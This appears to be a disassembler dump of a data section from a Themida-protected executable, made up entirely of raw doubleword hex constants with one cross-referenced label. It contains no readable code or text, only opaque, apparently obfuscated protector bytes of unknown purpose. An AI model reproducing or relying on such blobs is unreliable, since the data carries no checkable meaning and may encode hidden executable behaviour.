dd 44810424h, 180424h, 51410000h, 9DC58C3h, 0F508E89h dd 88h, 24348900h, 0FFB1F380h, 4BB924B5h, 57006A06h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1904h, 0C3574700h dd 3E9C1084h, 0BB66EF56h, 3468B133h, 81BEB689h, 7ACB2404h dd 6A4168h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h dd 51410000h, 0B589A1C3h, 64830F1h, 0E9D9B70Fh, 9, 0F52D3A73h dd 486D64EBh, 2C858DA5h, 0E9064BB9h, 11h, 0E6AE296Ch, 7A496487h dd 5380C92h, 183FCECCh, 0EE850F2h, 0B5000000h, 0BD3660F7h dd 54664B11h, 340F9830h, 0DEBF6627h, 4895F34h, 51006A24h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1604h, 0C3514100h dd 6656B399h, 0FFC0C2BFh, 481C0195h, 0DD9D8906h, 61064824h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 0B9C35646h dd 242585C7h, 30648h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 140424h, 55450000h, 0BD834EC3h, 64BB92Ch dd 10840F00h, 0FC000000h, 25E9h, 48C0F00h, 66000000h, 503ECABFh dd 110C30h, 0C1011144h, 443010E8h, 4C000211h, 83580311h dd 0E77504E9h, 305036EBh, 64001104h, 0E8C10111h, 11443010h dd 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh, 11642810h dd 11443003h, 64285802h, 4300111h, 4E98311h, 0EBE775h dd 820FC08Bh, 3, 6AFFB70Fh, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1C042444h, 42000000h, 41AAC352h, 0FD82C725h dd 8BD473FEh, 4828ED9Dh, 0CE906h, 67E50000h, 0AE33FF69h dd 0E556C488h, 0BD837FA0h, 6482425h, 0A6850F03h, 56000003h dd 0E58589h, 835B0648h, 4BB92CBDh, 840F0006h, 391h, 1DE9BD89h dd 0B5FF0648h, 64BB92Ch, 0E3595FFh, 6A0648h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 9BC86AC3h dd 68E000AEh, 0E968C60Ah, 14h, 1B1BB9CAh, 1A66194Dh, 9C3546DEh dd 0F216506Dh, 0CE1E094Bh, 0B920B58Bh, 6A064Bh, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h dd 0BB7126C3h, 9544D79Dh, 0BD2B5327h, 6480BA1h, 68C0F5Bh dd 89000000h, 48062D85h, 106C706h, 0E9000100h, 11h, 8844EC07h dd 31FBE60Ah, 7BA155EEh, 0C34E6944h, 51509667h, 11E9h dd 735C8C00h dd 118F0452h, 38EC5B05h, 0AA2E12E5h, 965FD36Fh, 0FFDEB70Fh dd 4BB92CB5h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1C04h, 0C3514100h, 4A8624C6h, 451A872Ch, 81FC8AFEh dd 0D1CEECDBh, 5995FF51h, 8B06481Dh, 482285BDh, 20B58B06h dd 1064BB9h, 480FC99Dh, 49858B06h, 89064810h, 4818659Dh dd 0C4868906h, 6A000000h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 17042444h, 40000000h, 73FC350h, 14E9CC89h dd 0B2000000h, 0D159C7B2h, 0C68FA362h, 8642D75Bh, 0BE3E3448h dd 8B1B2157h, 480A1995h, 5BD8B06h, 83064805h, 0BD8904C2h dd 6482059h, 66205089h, 1679E781h, 8DFE8B66h, 4BCE0985h dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h dd 0C3574700h, 0BD8B2D1Ah, 64815BDh, 0B88689h, 74B30000h dd 6A006Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h dd 57470000h, 2F2D7C3h, 5FEAB1ECh, 0BBD88C08h, 5CC6D680h dd 0B92CB5FFh, 0BD8B064Bh, 6481CCDh, 23E195FFh, 6A0648h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h dd 330B23C3h, 0F63B33FAh, 0F60E2ACh, 0F38AF3B7h, 0BF665061h dd 34899131h, 0BD8B6024h, 64825A9h, 8F17BA66h, 2CB5FF61h dd 66064BB9h, 1CE6DF81h, 0E2D95FFh, 6A0648h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 150424h, 51410000h, 83E5C5C3h dd 481CA1BDh, 840F0006h, 0Bh, 0EDB396FCh, 0A2DEBF50h, 0FF9642E2h dd 4BB92CB5h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1C04h, 0C3564600h, 3E10365Dh, 0CB45A9E2h, 1995FF5Bh dd 6A064827h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 17042444h, 43000000h, 16D3C353h, 0BF662103h, 0B5FFAEFEh dd 64BB92Ch, 95FF5F53h, 6480B41h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Ch, 14C35141h, 7E523D5Bh, 4E067E24h dd 25199589h, 0BD830648h, 6480CCDh, 5B840F02h, 0B3000000h dd 0D5858BBBh, 6A06480Fh, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 14042444h, 41000000h, 29B3C351h, 482D6195h dd 51BD8B06h, 0C606482Ah, 6A0000h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1A0424h, 52420000h, 22BCE0C3h, 0BD3324F9h dd 4C98D89h, 85C70648h, 6480E69h, 0 dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 0F2C35747h dd 81E1BEC0h, 0E53FA5CBh, 0F3CBE904h, 6AFFFFh, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h dd 0C62914C3h, 0BD8BC7CDh, 648048Dh, 6AC18BF8h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 17042444h, 45000000h dd 4BB1C355h, 0B529D846h, 6482BEDh dword_583108 dd 32FD858Dh, 6A0648h, 3E855h, 5D200000h, 6C895DC3h, 44810424h ; DATA XREF: Themida_:0053EE38o dd 1C0424h, 55450000h, 97A8C3h, 83EDB673h, 9D8B0177h, 6482255h dd 0EE32BB50h, 4894C12h, 50006A24h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1604h, 0C3504000h, 0E9AFC950h, 5, 4424ACh dd 6A006AA6h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1D042444h, 42000000h, 9041C352h, 81207C2h, 4B75E4E9h dd 6ADFB70Fh, 67BB6600h, 9F858D5Dh, 8B064C65h, 482B11BDh dd 5C08306h, 319D8B53h, 5F064810h, 0F88B6650h, 8B240489h dd 4827E1BDh, 6AD98B06h, 0FFB70F00h, 6A006Ah, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 0B005A4C3h dd 37003B95h, 0DE97D0Fh, 98000000h, 76BD4DF7h, 9153BDD8h dd 8327EEB3h, 277D95FFh, 6A0648h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 190424h, 51410000h, 0F16F78C3h, 8D8A484Ch dd 4B9C148Dh, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1A04h, 0C3524200h, 0E7E567E1h, 892C5D96h, 482B1185h dd 8BD1FF06h, 48281DBDh, 49BD8306h, 1064819h, 0A8850Fh dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h dd 56460000h, 0AAE072C3h, 82C72541h, 8F0FFEFDh, 6, 2CA99D8Bh dd 0BB660648h, 26A12AAh, 50DA8B66h, 6A240489h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h dd 0C17FC357h, 0EA65C71h, 11E92Bh, 0C6540000h, 0EFE14682h dd 0AD1C0E51h, 4FA22D29h, 8B731DD6h, 0E195FFDEh, 6A064823h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 15042444h dd 40000000h, 2A66C350h, 51B58B60h, 8B06480Ch, 481C999Dh dd 7E96106h, 0E800000Dh, 0 dd 0A9ED815Dh, 6A064C65h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 14042444h, 45000000h, 8B12C355h, 4823F5BDh dd 858DF806h, 64B9744h, 0FE9h, 1F084800h, 0B8ECDBEEh, 783D39D7h dd 9FEA7147h, 89D98A50h, 6A2404h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 170424h, 55450000h, 47D164C3h, 3D858940h dd 6006482Ah, 66F28B66h, 6461D68Bh, 35FFh, 8B70000h, 8964F88Bh dd 25h, 6E800h, 9B070000h, 0F7367CFh, 5FEFCB80h, 0A2D85FFh dd 6A0648h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h dd 57470000h, 6AF5C0C3h, 0E840FFFh, 60000000h, 0BA1B58Bh dd 0BD8B0648h, 6480241h, 1DB5FF61h, 0E806482Eh, 12h, 0FF97BD34h dd 4EE29511h, 1881CC86h, 11D0D594h, 840F1540h, 2, 0FF5B5B53h dd 480AA595h, 127E906h, 0EF810000h, 2041824Dh, 95300B0h dd 48183DB5h, 70E65F06h, 6C66BB66h, 0E4FAB70Fh, 0C9B52971h dd 3C06480Dh, 0FE830F61h, 29000000h, 4822A19Dh, 0C8B60F06h dd 6BAh, 159D8B00h, 8B06480Ah, 9D2960C1h, 64804ADh, 61D7B70Fh dd 8B04E8C1h, 482A999Dh, 0E2F76606h, 96F5F381h, 0C82B4EE1h dd 4A86BF66h, 0A2F78166h, 66D18B68h, 0F872CB81h, 0DE8h dd 0F9856C00h, 68C71B45h, 0A0239B6Bh, 0BF0FA70Dh, 0E95BFEh dd 8B000000h, 481DCD85h, 850F06h, 83000000h, 0E95007C0h dd 14h, 0B29091DEh, 51AC7EDh, 93AC5D16h, 1DA093EFh, 7D2298EDh dd 0C0835Fh, 16E66BFh, 0FD03B6Dh, 1083h, 0C3816600h, 5AE9258Bh dd 31000000h, 481B39BDh, 1D8D8B06h, 0E9064805h, 9, 9E1FF8F3h dd 0E8DF6CDAh, 1E183A2h, 37840Fh, 0B5310000h, 6480A9Dh dd 51DA583h, 0E9FE0648h, 0Eh, 64E988B9h, 87C846BBh, 0A3A92866h dd 9589101Ch, 6481DCDh, 6880Fh, 0C7810000h, 337F8BC8h dd 0E9h, 9EB58D00h, 6A064BF5h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1C042444h, 43000000h, 0CB79C353h, 265CF1DFh dd 8B101A58h, 0C38166D9h, 0BBBF63ABh, 6A79C037h, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h dd 29F1FF37h, 482B45B5h, 0B99D8906h, 0FF064814h, 48306195h dd 0EB816606h, 9D8B43B8h, 6482565h, 838B9h, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h, 0C3514100h dd 7EAA07CAh, 0E183CF4Ch, 53006AFCh, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1B04h, 0C3534300h, 0E16C8417h dd 91B71BD5h, 29FCDA8Bh, 48005DBDh, 0B806h, 8B660000h dd 0BAF8h, 0BF530000h, 3C562ADAh, 0C233AD5Fh, 0D003E8D1h dd 7504E983h, 0C99D8BF4h, 6A06480Dh, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 95C4C355h dd 6115A1A7h, 880Dh, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1A04h, 0C3504000h, 0A2F76793h, 2BE36D41h dd 4819459Dh, 0FA8B6606h, 0A19958Bh, 95290648h, 6480C99h dd 7E9h, 0D4A3E100h, 8A58629h, 0F358D8Bh, 6A0648h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h dd 8968B5C3h, 0E0E82D3Fh, 1A4DB589h, 8B500648h, 3188BC2h dd 8B188BC1h, 3E8D1C1h, 58188BC2h, 8BF8B70Fh, 481D0DBDh dd 41BD8B06h, 8306480Ch, 4819A5BDh, 840F0006h, 83h, 12810Fh dd 0DE90000h, 74000000h, 0E7D5C551h, 0DD975B86h, 0DC119474h dd 0B8h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1804h, 0C3534300h, 0C7F99717h, 9E826h, 0CE400000h, 83E9116Bh dd 664DF493h, 5BB5D3BBh, 0A15BD8Bh, 8D8D0648h, 6484B64h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 17h, 48C35242h dd 0FF465A91h, 258D29E1h, 8306480Fh, 482425BDh, 840F0006h dd 40Ch, 0E19BD2Bh, 0BD830648h, 6482425h, 14840F01h, 6A000004h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1D042444h dd 45000000h, 2AECC355h, 0A56C88C6h, 4926FFB6h, 2425BD83h dd 0F030648h, 3AC86h, 10E900h, 0D3340000h, 0C418D14Fh dd 80364DE6h, 4725C1EBh, 0F602354h, 958BDBBFh, 6482179h dd 6A6061h, 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h dd 50400000h, 0B7116C3h, 58BBB699h, 81743B19h, 6087EFE3h dd 0D98C663Ch, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Bh, 9BC35747h, 0E2D1D925h, 8BEABFF2h, 4814C19Dh, 80DA8A06h dd 9D2904E1h, 6481E4Dh, 840FC90Ah, 10Ch, 0E855006Ah, 3 dd 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0ECC35545h, 8A147985h dd 858B2519h, 6482385h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 17h, 68C35242h, 89108B93h, 4831D1B5h, 0C9853306h dd 5606482Ah, 0F99BD29h, 905F0648h, 63BB6650h, 56609017h dd 0EA3BF381h, 56580BA1h, 59C2BF0Fh, 6A006A61h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h dd 9FF8C353h, 0A21DA368h, 24348123h, 23BD1E5Ch, 95FFFC8Ah dd 6481C01h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Ah, 44C35343h, 0BD26BB84h, 85894D01h, 64BB92Ch, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 0C9C35646h, 0BCE1355Dh dd 14E9C9ADh, 0CF000000h, 5E5B1FDBh, 0CF122C87h, 0F4731E74h dd 2770186Dh, 0E97F6D25h, 191h, 0B924858Bh, 6A064Bh, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h dd 19A183C3h, 0C7CD4102h, 1800h, 28B58B00h, 6A064BB9h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 17042444h dd 43000000h, 83E9C353h, 0C2BBF493h, 8B011A50h, 482BF185h dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h dd 0C3534300h, 89D8CC0Fh, 50006A06h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1504h, 0C3504000h, 0CE9A701h dd 0CE000000h, 0E7BA6760h, 821D5FA5h, 0F967BEBh, 584h dd 0EF816600h, 858BF699h, 6482385h, 0A58D0360h, 0BB064804h dd 14F62490h, 4468961h, 5040DB80h, 0E783BF66h, 1243489h dd 4823C98Dh, 24B5FF06h, 66064BB9h, 2168DF8Bh, 0FC74357h dd 81h, 24048100h, 38DBACDEh, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 15h, 16C35040h, 0A8A0F37h, 60000000h dd 0D8810CB5h, 2CBFB488h, 0F58A6061h, 13870Fh, 0EE90000h dd 34000000h, 1CB1A629h, 0D8E0D0DEh, 0D5383C77h, 8B66611Ch dd 2C858DD8h, 29064BB9h, 482711BDh, 95BD8B06h, 5006482Fh dd 0BB240489h, 5C75C06Eh, 1C0195FFh, 6A0648h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1D0424h, 51410000h, 0C04D20C3h dd 496F0043h, 897A4203h, 4827559Dh, 0E3806106h, 7DBD2301h dd 0C706480Ch, 48242585h, 306h, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h dd 1C04h, 0C3534300h, 716CF4E4h, 6BE0B901h, 7DBD0953h dd 8306482Bh, 4BB92CBDh, 840F0006h, 39h, 0E935DB80h, 4Ch dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 0DDC35343h dd 0FE9A2h, 1FF70000h, 40F37CC7h, 6E95B527h, 0D3F7EE83h dd 0C305020h, 11440011h, 10E8C101h, 2114430h, 3114C00h dd 4E98358h, 36EBE775h, 11043050h, 1116400h, 3010E8C1h dd 21144h, 58031164h, 7504E983h, 501BEBE7h, 2810E8C1h dd 30031164h, 58021144h, 1116428h, 83110430h, 0E77504E9h dd 0C08B00EBh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 15h, 4AC35747h, 14E8CDh, 52710000h, 0BADB4C2Ah, 881E7B33h dd 96673CD4h, 0AE2D7DDDh, 10E82A62h, 0AF000000h, 0DED20702h dd 2FA1418Eh, 61EE85CBh, 31F2FB5h, 48206D9Dh, 8B5F5F06h dd 4829859Dh, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1404h, 0C3554500h, 0E3816632h, 0BD83AC6Ch, 6482425h dd 0B8850F03h, 83000003h, 4BB92CBDh, 840F0006h, 3ABh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 3EC35343h, 8B007BEDh dd 2CB5FFF8h, 80064BB9h, 95FF8BC7h, 6480E35h, 0BB2CCF81h dd 0B58B54A5h, 64BB920h, 6D9D89h, 0F8520648h, 106C75Fh dd 8B000100h, 9CB750D9h, 0FF243489h, 4BB92CB5h, 57006A06h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1B04h, 0C3574700h dd 0B16C3446h, 294C006Ah, 6BBCEB81h, 880F5092h, 5, 37F38166h dd 5995FFFDh, 0E906481Dh, 11h, 51044C8Dh, 4CC29FB5h, 69D8C273h dd 0F5C9469Ah, 20B58B6Fh, 6A064BB9h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1B042444h, 40000000h, 7871C350h dd 4BC5078Bh, 9589168Ah, 6480255h, 0EE9h, 0F2E6B300h, 39C56DFBh dd 52D4F6B3h, 8B36B4CFh, 48104985h, 8D0F5606h, 6, 2B7DBD89h dd 895B0648h, 0C486h, 0BE9F800h, 51000000h, 48189567h dd 0BCA309E6h, 958BF717h, 6480A19h, 2291BD23h, 0C2830648h dd 50006A04h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h dd 0C3504000h, 57BC6330h, 9D8B671Fh, 64820A5h, 6A205089h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 16042444h dd 46000000h, 1253C356h, 0D5BD895Ch, 8D064808h, 4BCE0985h dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1C04h dd 0C3514100h, 37780D23h, 0A57D2577h, 0C185093Dh, 0E9064818h dd 13h, 0A23A6639h, 90FC5D66h, 0FB549F37h, 65AFC47Fh, 89251E8Eh dd 0B886h, 68C0F00h, 29000000h, 48094D85h, 6A006A06h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h dd 5A0CC356h, 2CB5FFF3h, 89064BB9h, 48214DB5h, 0E195FF06h dd 50064823h, 3489FD8Ah, 0DE924h, 0DB570000h, 6142A8C7h dd 0C3240901h, 0FF0E5075h, 4BB92CB5h, 57006A06h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1404h, 0C3574700h dd 2D95FF9Ah, 6A06480Eh, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 19042444h, 45000000h, 6125C355h, 48E02042h dd 1CA1BD83h, 0F000648h, 3284h, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1704h, 0C3514100h, 0F00E3DDFh dd 2845B589h, 0B7960648h, 0B0BF50EAh, 9627D734h, 0FFF9B70Fh dd 4BB92CB5h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1704h, 0C3574700h, 1DEDC057h, 14C9BD8Bh, 95FF0648h dd 6482719h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Ch, 87C35343h, 450D1EE6h, 49183CD7h, 0B92CB5FFh, 95FF064Bh dd 6480B41h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 17h, 0D0C35545h, 1D7BB03h, 480FE195h, 0CDBD8306h, 206480Ch dd 42840Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 190424h, 55450000h, 81D567C3h, 8BE7B047h, 480FD585h dd 0F3BB6606h, 0C6DDh, 0FE9h, 88F5B800h, 1E72D8F5h, 466B0561h dd 0AAF878F8h, 0E6985C7h, 648h, 6A0000h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1B0424h, 52420000h, 92F2C7C3h dd 1A6A7374h, 0E38166CAh, 8166D4F1h, 0E9FCF0EBh, 0FFFFF3C7h dd 2051BD8Bh, 0C18B0648h, 6D5B531h, 858D0648h, 64832FDh dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 2CC35343h dd 4B32C424h, 218589C9h, 90064831h, 50FE8B66h, 283B39BBh dd 6A9061h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h dd 53430000h, 686A29C3h, 5777A9B4h, 0BD8BD7B0h, 6482C19h dd 1006AF8h, 4829019Dh, 6A006A06h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 911DC351h dd 961D0BD5h, 0F680602Bh, 61CE8B7Bh, 15A9B501h, 858D0648h dd 64C74A7h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 18h, 15C35141h, 0B4B1CE66h, 6A05C083h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 7B27C356h dd 5FDA4392h, 0B95BBF38h, 0F5018CFh, 28Eh, 895B5600h, 6A2404h dd 6870Fh, 0BD330000h, 6482149h, 0CF81006Ah, 0EE191A6h dd 277D95FFh, 8D8D0648h, 64B9C14h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Bh, 8CC35747h, 3B71A669h, 0E8284E6Ch dd 0Eh, 0B52FAB45h, 0E123EA0Dh, 0EF673BA2h, 0FF5F8CC7h dd 52006AD1h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1504h dd 0C3524200h, 9D8BDBDAh, 6481975h, 1949BD83h, 0F010648h dd 7985h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1604h, 0C3504000h, 0FFF3770h, 687h, 59B58900h, 6A064818h dd 5E802h, 0D8BF0000h, 2B7A0B3Ch, 481F2D9Dh, 0BF905B06h dd 3601868Ah, 48A0F50h, 66000000h, 90EEB2BFh, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 57C35747h, 95FFB4DDh dd 64823E1h, 0E5AFC381h, 0F9E96E18h, 0E800000Ch, 0 dd 0B1ED815Dh, 66064C74h, 6AD98Bh, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1D0424h, 56460000h, 0FA1969C3h, 565E08B1h dd 8DA368CFh, 4B974485h, 51006A06h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1504h, 0C3514100h, 86B7926Ah, 24D19D8Bh dd 8A900648h, 8B9050FAh, 482B7DBDh, 35FF6406h, 0 dd 19ED8D01h, 89640648h, 25h, 858D0900h, 0FF064804h, 480A2D85h dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1904h dd 0C3564600h, 93C61745h, 0BF669B29h, 0FF6A8EC4h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 9FC35545h, 0A64BD1E0h dd 0C59D3333h, 0FF06480Dh, 481035B5h, 52006A06h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1C04h, 0C3524200h dd 0DEA475AFh, 17D9C3A8h, 0A595FFEAh, 0E906480Ah, 110h dd 0B0FA8Bh, 70E6FA8Bh, 8E8h, 0AE34B800h, 78C05C0Bh, 6D6BBBF0h dd 0E45B41B6h, 0E3806071h, 3C61FC94h, 0E5830F61h, 89000000h dd 482B3985h, 0C8B60F06h, 0A0DEDCBFh, 6BA68h, 0C18B0000h dd 8D1EBABFh, 4E8C17Eh, 19659D8Bh, 0F7660648h, 2BDF8BE2h dd 0A1BB66C8h, 0E9D18BEDh, 0Eh, 0AD9F86B3h, 0D57D95BAh dd 0D3BD588Fh, 13E98BA6h, 8B000000h, 4826BDBDh, 81666006h dd 8BBE69C8h, 48224D95h, 858B6106h, 6481E25h, 6860F60h dd 89000000h, 48303595h, 0D78B6606h, 7C08361h, 0F00C083h dd 0D03BD9B7h, 29830Fh, 890F0000h, 0Ch, 68B0Fh, 0EF810000h dd 887A964h, 4BE9h, 0C9B58900h, 6006481Ch, 691613B8h, 0F478BB1Fh dd 8B613C43h, 4830718Dh, 99D8B06h, 8306482Ah, 840F01E1h dd 24h, 2B2D9D29h, 0A5830648h, 6483071h, 89DA8BFEh, 481E2595h dd 0FEBB6606h, 0B98D8980h, 0E9064813h, 0 dd 0FFEBB58Dh, 0BD8B064Bh, 64829B1h, 98D2960h, 8B064820h dd 6A61D3h, 306195FFh, 9D8B0648h, 648096Dh, 7CFB9h, 85858900h dd 83064804h, 0E860FCE1h, 5, 0F88672D0h, 0D7BF0F38h, 0DC2815Bh dd 614C1A60h, 50006AFCh, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1604h, 0C3504000h, 2950588Ch, 481B35B5h, 0B806h, 81660000h dd 2BB6B2EBh, 50006AD2h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1D04h, 0C3504000h, 5CD10B49h, 3E053286h, 0BD8B7C9Dh dd 648235Dh, 0D1C233ADh, 83D003E8h, 0F47504E9h, 0DF8F98Bh dd 88h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h dd 2C35747h, 65EF7550h, 0A19958Bh, 6A0648h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 140424h, 55450000h, 8B605AC3h dd 482C19BDh, 81665606h, 593C18C3h, 0F240BF61h, 8D8B6DEFh dd 6480F35h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 17h, 7AC35343h, 337AEAEAh, 481EBDBDh, 0F99D0306h, 50064828h dd 188BC28Bh, 188BC103h, 0E8D1C18Bh, 188BC203h, 55006A58h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1D04h, 0C3554500h dd 877578EBh, 7A8B4D4Dh, 0BF0F7F6Ch, 850FDAh, 9000000h dd 48240D85h, 0FAB70F06h, 19A5BD83h, 0F000648h, 9884h dd 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1504h dd 0C3504000h, 0B8DC19h, 6A000000h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1B042444h, 46000000h, 3BE9C356h dd 350C2524h, 0AE9BA9Ah, 80000000h, 0E998EA40h, 1A6EFA14h dd 648D8D56h, 8B06484Bh, 48243DBDh, 6AE1FF06h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h dd 0F2B0C356h, 0E8BADD55h, 0Dh, 53DD44DFh, 37C85631h, 0A8165647h dd 0FABF0FCBh, 25BD835Fh, 64824h, 464840Fh, 0D98B0000h dd 3EEF8157h, 5F49AD89h, 2425BD83h, 0F010648h, 46884h dd 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1504h dd 0C3504000h, 0BB66C0E6h, 0BD83BA80h, 6482425h, 4860F03h dd 66000004h, 0E956FE8Bh, 6, 527555DAh, 605BCD66h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 80C35343h, 2C0EA1BEh dd 66FB8BCBh, 6AD98Ch, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 150424h, 56460000h, 661890C3h, 8BDD73BFh, 4E180DEh dd 5AD9D8Bh, 0C90A0648h, 152840Fh, 9D310000h, 64814E1h dd 2245BD8Bh, 858B0648h, 6482385h, 1B158D89h, 85330648h dd 6482AC9h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Dh, 0CCC35646h, 42E7D104h, 0B100E5F6h, 9529F556h, 6481B75h dd 70CEBB90h, 0E9507EB3h, 6, 0DC388D00h, 6A909669h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 19042444h, 40000000h dd 0CC13C350h, 0A1D62B1Ch, 9F8B70Fh, 4828E18Dh, 6A006A06h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 18042444h dd 40000000h, 22E0C350h, 0E9C10AF5h, 0Ah, 79989A23h, 0B27637A1h dd 0B70F3A43h, 96E768DBh, 0FE8BCED7h, 18240481h, 6A31476Dh dd 3E85000h, 20000000h, 8958C358h, 81042444h, 15042444h dd 40000000h, 5B4AC350h, 21CD9D2Bh, 0B5290648h, 6480D6Dh dd 1C0195FFh, 6A0648h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1D0424h, 57470000h, 669CD8C3h, 0E409C1E7h, 89C44795h dd 4BB92C85h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1C04h, 0C3554500h, 2D466CBh, 4216E0EEh, 0E19D8B0Fh dd 0E9064810h, 1A6h, 0B924858Bh, 0D781064Bh, 30753E4h dd 1800C7h, 9D010000h, 6480ACDh, 0B928B58Bh, 9D03064Bh dd 6480115h, 2BF1858Bh, 9D090648h, 6480F89h, 0CA4EBF66h dd 81660689h, 8BB7CBF7h, 48238585h, 419D8B06h, 8906482Fh dd 6A0446h, 3E855h, 